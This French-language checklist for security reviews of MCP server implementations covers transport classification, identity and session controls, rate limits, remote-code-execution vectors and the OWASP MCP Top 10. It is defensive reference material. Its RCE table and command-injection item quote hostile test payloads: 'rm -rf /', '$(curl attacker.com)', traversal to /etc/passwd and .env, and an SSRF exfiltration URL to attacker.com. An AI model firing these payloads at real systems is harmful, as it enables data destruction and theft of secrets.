Examen de sécurité de l'implémentation MCP
Processus
Étape 1 — Classifier la cible
- Vérifier la version du protocole MCP 2025-03-26 ou ultérieure (actuelle : 2025-11-25). Signaler les versions antérieures comme une constatation mais poursuivre l'examen.
- Déterminer si la cible est un serveur ou un client.
- Classifier le transport en tant que exposé sur le réseau ou local uniquement en utilisant la référence de transport ci-dessous.
- Enregistrer le transport, la version du protocole et l'existence de sessions.
Critère d'accomplissement : Le type de cible, le statut du protocole et le transport sont identifiés.
Étape 2 — Filtrer les faux positifs
- Appliquer les filtres des faux positifs avant de signaler les constatations.
- Conserver la documentation uniquement si elle décrit le comportement du serveur propre au référentiel, le déploiement, le transport ou la posture d'authentification.
- Pour les référentiels de framework/SDK, limiter les constatations à la configuration par défaut et à la surface d'API publique.
Critère d'accomplissement : Les preuves restantes sont du code en scope, de la documentation appartenant au référentiel ou du comportement d'API public.
Étape 3 — Vérifier les contrôles de base
- Pour les serveurs exposés sur le réseau, vérifier MCP-01 à MCP-05.
- Pour les serveurs locaux/STDIO, ne pas marquer les contrôles de base PASS/FAIL ; donner des notes de bonnes pratiques et continuer vers l'examen RCE.
- Pour les clients, examiner uniquement la gestion des tokens/sessions explicitement visible dans le code client ; ne pas appliquer la ligne de base du serveur sauf si l'utilisateur demande un examen des risques côté client.
Critère d'accomplissement : Chaque contrôle applicable a un statut supporté.
Étape 4 — Vérifier les vecteurs RCE
- Examiner les 7 vecteurs RCE.
- Marquer chaque vecteur comme SAFE, AT RISK ou N/A.
- Préférer la preuve directe à l'inférence ; le tableau des vecteurs RCE ci-dessous énumère les motifs à rechercher.
Critère d'accomplissement : Chaque outil pertinent a un résultat RCE ou un N/A explicite.
Étape 5 — Vérifier le Top 10 OWASP MCP
- Évaluer les 10 risques OWASP ci-dessous.
- Si un contrôle de l'étape 3 couvre déjà entièrement un risque OWASP, référencer ce résultat plutôt que de vérifier à nouveau.
- Pour les serveurs locaux/STDIO, marquer les risques OWASP dépendant du réseau (MCP07, MCP09) comme N/A.
- Marquer chaque risque PASS, FAIL ou NEEDS INVESTIGATION.
Critère d'accomplissement : Les 10 risques OWASP ont des résultats supportés par des preuves observables ou référencés à partir de l'étape 3.
Étape 6 — Rapport
- Utiliser le format de sortie de conformité ci-dessous.
- Inclure les références fichier/ligne dans chaque justification.
- Séparer les constatations de code des actions à suivre manuellement.
- Si la preuve est incomplète, utiliser NEEDS INVESTIGATION et nommer l'artefact manquant.
Critère d'accomplissement : Le rapport inclut les contrôles, RCE, OWASP facultatif et actions.
Référence
Règles de décision
- Serveur exposé sur le réseau : Appliquer les 5 contrôles, puis exécuter les vérifications RCE et OWASP demandées.
- Serveur local/STDIO : Fournir des conseils de bonnes pratiques uniquement pour les 5 contrôles ; exécuter quand même RCE car l'entrée d'outils peut exécuter localement.
- Client : Examiner la gestion des tokens reçus et le refus de faire confiance aux ID de session fournis par le serveur ; ne pas forcer les contrôles du serveur sauf si c'est demandé.
- Reverse proxy ou exposition de conteneur : Si le trafic peut atteindre le serveur sur un réseau, le traiter comme exposé sur le réseau même si la liaison interne est localhost.
- Preuve peu claire : Ne pas deviner. Marquer NEEDS INVESTIGATION et dire ce qui doit être vérifié manuellement.
- Couverture d'auth ambiguë : Un middleware d'auth existe mais il n'est pas clair s'il couvre les endpoints MCP → marquer NEEDS INVESTIGATION.
- Transport indéterminable : Si le transport ne peut pas être établi à partir du code, le signaler pour examen manuel et ne pas supposer STDIO — supposer par défaut STDIO ignorerait à tort les contrôles du serveur.
Classification du transport
Exposé sur le réseau (appliquer tous les contrôles) :
| Motif | Transport |
|---|---|
transport="http" ou transport="sse" |
HTTP/SSE |
StreamableHttpServerTransport |
HTTP (TS/JS) |
SSEServerTransport |
SSE (TS/JS) |
WithHttpTransport() |
HTTP (C#) |
host="0.0.0.0" |
Liaison sur toutes les interfaces |
Express .listen(port) avec routes MCP |
HTTP (par défaut 0.0.0.0) |
EXPOSE dans Dockerfile + serveur MCP |
Exposé sur le réseau |
Local uniquement (bonnes pratiques uniquement) :
| Motif | Transport |
|---|---|
StdioServerTransport |
STDIO (TS/JS) |
WithStdioServerTransport() |
STDIO (C#) |
transport="stdio" |
STDIO |
mcp.run() sans arguments (Python FastMCP) |
Défaut STDIO |
.vscode/mcp.json avec clé command et pas d'URL |
Processus enfant STDIO |
Pièges de liaison d'hôte :
| Liaison | Exposition réelle |
|---|---|
host="0.0.0.0" |
🔴 Exposé sur le réseau |
host="127.0.0.1" ou localhost |
🟢 Local uniquement |
| Pas d'hôte explicite (Express/Node) | 🔴 Par défaut 0.0.0.0 |
| Pas d'hôte explicite (Python FastMCP) | 🟡 Dépend du transport — vérifier |
Docker ports: "8000:8000" |
🔴 Exposé sur le réseau même si le processus se lie à 127.0.0.1 dans le conteneur |
Filtres des faux positifs
| Motif FP | Comment détecter |
|---|---|
Modèles .github/skills/ |
Le chemin contient .github/skills/ — modèle de compétence, pas code serveur |
| SDK vendorisé / copies OSS | Le fichier définit class FastMCP, class McpServer ou le chemin est dans node_modules/, vendor/ |
| Configs de client MCP | .vscode/mcp.json avec inputs/servers mais pas de code serveur |
| Documentation / tutoriels | .md, .rst avec des blocs de code non liés au serveur propre du référentiel |
| Bibliothèques d'auth sortante uniquement | DefaultAzureCredential, fichier de compte de service ou similaire utilisé uniquement pour l'auth sortante |
La documentation décrivant le propre comportement du serveur du référentiel, le transport, la posture d'auth ou le déploiement ne sont pas des faux positifs.
Référence des contrôles
MCP-01 — Isolation de l'identité
Scope : Serveurs MCP distants
Condition
- Authentifier chaque requête entrante avec un fournisseur d'identité de confiance et appliquer l'autorisation à la limite du serveur ; ne pas déduire l'auth des ID de session, des requêtes antérieures ou de la localisation du réseau.
- Utiliser une identité d'application unique spécifique au serveur et un identifiant d'audience/ressource ; les appels sortants utilisent des credentials de service indépendamment délimités ou un flux au nom de l'utilisateur le cas échéant, jamais le token entrant.
- Les endpoints de découverte non authentifiés sont autorisés uniquement pour l'amorçage de métadonnées OAuth/MCP :
/.well-known/oauth-protected-resource,/.well-known/oauth-authorization-server,/.well-known/openid-configuration.
À vérifier
- La validation de token et le middleware d'autorisation s'exécutent sur chaque route MCP ; l'autorisation distingue l'invocation d'outils, les opérations en lecture seule et d'admin si présentes.
- La config d'identité montre un ID d'application/client/ressource dédié et une audience ; les clients sortants acquièrent leurs propres tokens et ne copient jamais l'
Authorizationentrant. - Les endpoints de découverte retournent uniquement les métadonnées et ne peuvent pas exécuter d'outils ou exposer des données protégées.
Piège clé : Les identités d'application partagées ou les tokens d'appelant transférés cassent l'isolation de l'identité et créent des chemins de confusion de mandataire.
MCP-02 — Sessions
Scope : Serveurs MCP distants qui supportent les sessions
Applicabilité
- Aucun identifiant de session émis ou utilisé nulle part → marquer N/A (l'auth par requête est toujours requise ; voir MCP-01).
- Sessions gérées par le transport/SDK (par ex., HTTP Streamable
Mcp-Session-Id) mais génération/liaison non visible en source → marquer NEEDS INVESTIGATION, pas FAIL. - Identifiants de session présents dans le code → scorer PASS/FAIL selon les conditions ci-dessous.
Condition
- Authentifier et autoriser chaque requête ; l'état de session ne remplace jamais la validation de token.
- Les ID de session sont uniquement des tokens de corrélation/continuité opaques ; ils n'accordent pas de privilèges, ne codent pas l'autorisation et ne contournent pas l'auth.
- Les ID de session sont générés par CSPRNG, imprévisibles, liés à un contexte authentifié et jamais intégrés dans les URLs.
À vérifier
- Le middleware valide les tokens par requête, pas uniquement quand une session commence.
- La logique d'autorisation ne fait jamais confiance à un ID de session seul ; la perte ou la réutilisation d'un ID de session ne doit pas accorder l'accès.
- La création de session utilise des IDs aléatoires (GUID v4/CSPRNG acceptables ; les IDs séquentiels ou basés sur le temps ne le sont pas).
Piège clé : Traiter un ID de session comme une credential bearer transforme un token de corrélation en authentification.
MCP-03 — Limites de débit
Scope : Serveurs MCP et outils
Condition
- Appliquer les limites de débit et la protection contre les abus sur la découverte d'outils et l'invocation d'outils.
- Appliquer les limites au runtime du serveur MCP, pas uniquement à une gateway ; partitionner par identité authentifiée et par session où les sessions existent.
- Appliquer des limites plus strictes aux outils capables de mutation et coûteux ; quand les limites sont dépassées, échouer fermé avec HTTP 429 et Retry-After et ne pas exécuter l'outil.
À vérifier
- Le middleware de limite de débit ou équivalent est présent sur les endpoints de découverte et d'invocation dans le code serveur, pas uniquement dans la config d'ingress ou de proxy.
- Les limites sont indexées par identité et session, avec des budgets plus serrés pour les opérations d'écriture/coûteuses.
- Les requêtes dépassées s'arrêtent avant l'action backend et retournent 429 avec Retry-After.
Seuils de départ (ajuster à la charge réelle, limites en aval et coût) :
| Type d'outil | Par identité | Par session | Notes |
|---|---|---|---|
| Lecture seule / énumération | 100/min | 200/min | Réduire si les APIs en aval sont sensibles |
| Mutation / écriture | 10/min | 20/min | Plus strict pour les ops changeant l'état |
| Calcul coûteux | 5/min | 10/min | Pondéré par coût ; surveiller les dépenses cloud |
| Découverte d'outils | 30/min | 60/min | Prévient l'abus d'énumération |
Piège clé : La limitation de gateway uniquement ou un seul panier plat laisse des contournements et sous-protège les outils coûteux.
MCP-04 — Validation de schéma
Scope : Serveurs MCP exposant des outils avec des arguments structurés
Condition
- Valider tous les arguments d'outil contre des schémas explicites avant exécution.
- Les schémas définissent les types, champs obligatoires, énumérations et bornes, et rejettent les propriétés non spécifiées par défaut (
additionalProperties: falseou équivalent). - La validation s'exécute côté serveur sur chaque invocation ; l'entrée invalide échoue fermée avec une erreur 400/MCP et aucune action backend.
À vérifier
- Chaque descripteur d'outil a un schéma couvrant les types, champs obligatoires, énumérations, bornes et restrictions de propriété.
- La validation se produit à la limite du serveur à chaque appel, pas uniquement dans les clients, gateways ou services en aval.
- Les tests négatifs rejettent l'entrée malformée, les propriétés supplémentaires et les violations de bornes.
Piège clé : Autoriser les propriétés supplémentaires ou la validation uniquement côté client crée une surface d'attaque cachée et une expansion de scope.
MCP-05 — SDK-first
Scope : Serveurs MCP distants
Condition
- Construire les serveurs MCP distants sur un SDK MCP officiel pour le langage du serveur :
- Tier 1 (complètement supporté) : TypeScript (modelcontextprotocol/typescript-sdk), Python (modelcontextprotocol/python-sdk), C#/.NET (modelcontextprotocol/csharp-sdk), Go (modelcontextprotocol/go-sdk)
- Tier 2/3 (en développement) : Java (modelcontextprotocol/java-sdk), Kotlin (modelcontextprotocol/kotlin-sdk), Rust (modelcontextprotocol/rust-sdk), Swift (modelcontextprotocol/swift-sdk), PHP (modelcontextprotocol/php-sdk), Ruby (modelcontextprotocol/ruby-sdk)
- Si aucun SDK officiel n'est utilisé, marquer MCP-05 comme NEEDS INVESTIGATION.
- Garder le SDK à jour et patché, et vérifier quels contrôles sont automatiques par rapport aux manuels.
À vérifier
- Les dépendances référencent un SDK MCP officiel plutôt qu'une pile HTTP/SSE faite maison.
- Si aucun SDK n'est utilisé, le référentiel contient des preuves directes pour l'auth/authz, les sessions, les limites de débit et la validation de schéma.
- L'épinglage de dépendance et l'hygiène de mise à jour montrent que le SDK est maintenu.
Piège clé : Les serveurs faits maison oublient souvent une primitive « petite » — l'auth par requête, la limitation ou la validation — et les écarts s'accumulent.
Vecteurs RCE
| Vecteur | Code dangereux | Alternative sûre | Payload de test | CWE |
|---|---|---|---|---|
| Injection de commande | exec("convert " + args.filename), os.system(f"process {user_input}"), Process.Start("cmd", "/c " + toolArg) |
execFile("convert", [args.filename]), subprocess.run(["process", user_input], shell=False) |
; rm -rf /, $(curl attacker.com), \| net user doivent être rejetés ou traités littéralement |
CWE-78 |
| Évaluation dynamique de code | eval(args.expression), exec(tool_output), new Function(args.code)() |
Parseur en sandbox, évaluation basée sur l'AST ou liste de permissions prédéfinie | __import__('os').system('whoami'), require('child_process').exec('id') doivent être rejetés |
CWE-94, CWE-95 |
| Désérialisation non sûre | pickle.loads(user_data), yaml.load(input, Loader=yaml.UnsafeLoader), BinaryFormatter.Deserialize(stream) |
yaml.safe_load(), JSON.parse() plus validation de schéma ; éviter les formats binaires pour l'entrée non fiable |
Les payloads sérialisés élaborés doivent être rejetés ou gérés en toute sécurité | CWE-502 |
| Traversée de répertoire | fs.readFile(args.path) sans validation, open(user_path, 'w') |
Canonicaliser et appliquer un répertoire de base whitelisté avant lecture/écriture/exécution | ../../../../etc/passwd, C:\Windows\System32\config\SAM, ..\..\..\.env doivent être rejetés |
CWE-22 |
| SSTI | Template(user_input).render(), Handlebars.compile(args.template)({data}) |
Ne jamais utiliser l'entrée utilisateur comme source de template ; utiliser uniquement les templates prédéfinis avec paramètres | {{7*7}}, ${7*7}, <%= 7*7 %> ne doivent pas afficher 49 |
CWE-1336 |
| Détournement de dépendance | Deps non épinglées comme "lodash": "^4.0.0" ; noms de packages internes résolubles depuis les registres publics |
Épingler les versions exactes, conserver les fichiers de lock avec les hachages d'intégrité, utiliser des registres dignes de confiance/délimités, vérifier les signatures le cas échéant | npm audit, pip audit ou dotnet list package --vulnerable ; examiner les CVEs et les packages suspects |
CWE-829 |
| SSRF | requests.get(user_param), fetch(user_input), HttpClient.GetAsync(user_input) |
Whitelister les schémas/domaines, bloquer les cibles RFC1918 et link-local, valider les URLs avant d'envoyer | http://169.254.169.254/latest/meta-data/, http://localhost:8080/admin, http://attacker.com/?data=stolen doivent être rejetés |
CWE-918 |
Top 10 OWASP MCP
MCP01:2025 — Mauvaise gestion des tokens et exposition de secrets Test : Rechercher les secrets codés en dur et la journalisation de tokens ; vérifier que les secrets proviennent de variables d'env ou d'un gestionnaire de secrets ; vérifier les tokens de courte durée/rotatés. Pass : Pas de secrets codés en dur, champs sensibles masqués, tokens de courte durée/rotatés. Fail : Secrets codés en dur, journalisation de tokens ou tokens de longue durée sans rotation.
MCP02:2025 — Escalade de privilèges via expansion de scope Test : Examiner les scopes/rôles ; confirmer le principe du moindre privilège et l'autorisation par requête ; rejeter les scopes admin wildcard sauf justification ; vérifier l'expansion de capacité runtime. Pass : Scopes du moindre privilège, autorisation par requête, pas d'expansion de capacité runtime. Fail : Scopes larges, auth unique ou outils s'auto-escaladant.
MCP03:2025 — Empoisonnement d'outils Test : Vérifier si les définitions d'outils sont statiques et contrôlées par le serveur, si les outils peuvent modifier les métadonnées et si les sorties contiennent des instructions analysables par LLM. Pass : Définitions statiques contrôlées par le serveur et sorties de données uniquement. Fail : Sources de métadonnées externes ou sorties avec instructions intégrées.
MCP04:2025 — Attaques de chaîne d'approvisionnement et altération de dépendances
Test : Vérifier les fichiers de lock, l'épinglage exact, les scripts postinstall suspects, les résultats d'audit de dépendances et les registres de confiance.
Pass : Deps épinglées, fichier de lock commité, pas de vulnérabilités connues, pas de scripts post-install suspects. Fail : Deps non épinglées, pas de fichier de lock, CVEs non patchées ou registres non dignes de confiance.
MCP05:2025 — Injection de commande et exécution
Test : Rechercher les APIs d'exécution shell et les commandes construites par string ; tracer si l'entrée d'outil atteint l'exécution shell ; tester ; ls, $(whoami), | cat /etc/passwd.
Pass : Pas d'exécution shell à partir d'entrée non fiable ou uniquement exécution paramétrée whitelistée. Fail : L'entrée utilisateur atteint les commandes shell, shell=True avec strings formatées ou concaténation non sûre.
MCP06:2025 — Injection de prompt via payloads contextuels Test : Vérifier si la sortie d'outil retourne au LLM, si le contenu externe est assaini/tronqué/sandboxé et si les appels d'outils chaînés sont gardés ; tester la sortie portant instructions adversariales. Pass : Les sorties d'outil sont des données, le contenu non fiable est assaini/tronqué/sandboxé et le chaînage a des garde-fous. Fail : Le contenu externe brut retourne au modèle et il n'y a pas de limites de chaînage.
MCP07:2025 — Authentification et autorisation insuffisantes Test : Envoyer des requêtes sans auth et avec tokens expirés/invalides ; vérifier l'autorisation par outil ; confirmer que l'auth est appliquée au serveur, pas uniquement à la gateway. Pass : Tous les endpoints requièrent l'auth valide, l'autorisation par outil existe et l'application se fait côté serveur. Fail : Tout accès non authentifié, auth par outil manquante ou application au niveau gateway uniquement.
MCP08:2025 — Manque d'audit et de télémétrie Test : Invoquer un outil et confirmer que les logs capturent l'identité de l'appelant, le nom de l'outil et l'horodatage ; déclencher une erreur et confirmer un contexte utile ; vérifier la journalisation centralisée et les alertes. Pass : Les invocations d'outil sont journalisées avec identité, les logs sont centralisés et les alertes existent. Fail : Logs manquants, pas d'identité de l'appelant, journalisation locale uniquement ou pas d'alertes.
MCP09:2025 — Serveurs MCP fantômes Test : Vérifier que le serveur existe dans l'inventaire des services ; inspecter les endpoints MCP non documentés ou les ports non standard exposés ; vérifier l'isolation dev/staging ; vérifier un propriétaire et un audit trail. Pass : Tous les serveurs sont inventoriés, isolés correctement et possédés. Fail : Serveurs non documentés, exposition dev/test dans les réseaux de production ou pas de propriétaire.
MCP10:2025 — Injection de contexte et sur-partage Test : Inspecter les réponses d'outil pour la minimisation des données ; vérifier les données personnelles ou les objets complets quand seuls les sous-ensembles sont nécessaires ; vérifier l'isolation du contexte. Pass : Données minimales retournées, champs sensibles masqués/exclus et contexte isolé. Fail : Objets complets retournés inutilement, données personnelles exposées ou contexte partagé entre utilisateurs.
Format de sortie de conformité
Dans chaque tableau de synthèse ci-dessous, la cellule Justification doit citer des preuves spécifiques fichier/ligne pour le statut.
Synthèse des contrôles
| Contrôle | Nom | Statut | Justification |
|---|---|---|---|
| MCP-01 | Isolation d'auth et d'identité | ✅ PASS / ❌ FAIL / ⚠️ NEEDS INVESTIGATION / N/A | … |
| MCP-02 | Gestion sécurisée des sessions | … | … |
| MCP-03 | Limites de débit et protection contre les abus | … | … |
| MCP-04 | Validation de schéma d'entrée | … | … |
| MCP-05 | Utilisation d'SDK de production | … | … |
Utiliser PASS uniquement quand le code satisfait clairement le contrôle. Utiliser FAIL quand la violation est observable. Utiliser NEEDS INVESTIGATION quand la conformité dépend de la config de déploiement, de l'état du fournisseur d'identité, des logs ou d'autres preuves non visibles en source.
Synthèse RCE
| Vecteur | Statut | Justification |
|---|---|---|
| Injection de commande | SAFE / AT RISK / N/A | … |
| Évaluation dynamique de code | … | … |
| Désérialisation non sûre | … | … |
| Traversée de répertoire | … | … |
| SSTI | … | … |
| Détournement de dépendance | … | … |
| SSRF | … | … |
Synthèse OWASP
| Risque | Statut | Justification |
|---|---|---|
| MCP01:2025 | ✅ PASS / ❌ FAIL / ⚠️ NEEDS INVESTIGATION | … |
| MCP02:2025 | … | … |
| MCP03:2025 | … | … |
| MCP04:2025 | … | … |
| MCP05:2025 | … | … |
| MCP06:2025 | … | … |
| MCP07:2025 | … | … |
| MCP08:2025 | … | … |
| MCP09:2025 | … | … |
| MCP10:2025 | … | … |
Actions à suivre manuellement
Lister chaque vérification qui n'a pas pu être entièrement résolue à partir du code source, en spécifiant quel artefact ou accès est nécessaire pour la vérifier.
Processus d'exception
- Documenter l'écart : Identifier le contrôle non satisfait, l'écart exact, le risque résiduel et les contrôles compensatoires.
- Obtenir l'approbation explicite : Router l'exception par l'approbation sécurité/release avec un propriétaire et une date d'expiration ou de révision.
- Suivre et réévaluer : Enregistrer l'exception approuvée avec les résultats de conformité et la revisiter à l'expiration ou chaque fois que le serveur, les outils, le profil de trafic ou l'exposition change.